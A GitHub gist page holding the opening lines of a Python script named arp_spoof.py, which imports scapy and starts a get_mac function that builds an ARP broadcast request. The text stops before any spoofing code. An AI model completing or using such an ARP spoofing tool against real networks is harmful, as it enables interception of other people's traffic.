Skip to content

Instantly share code, notes, and snippets.

View ztothez's full-sized avatar

ZtotheZ ztothez

View GitHub Profile
@ztothez
ztothez / arp_spoof.py
Created February 2, 2019 19:54
Python Programs
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request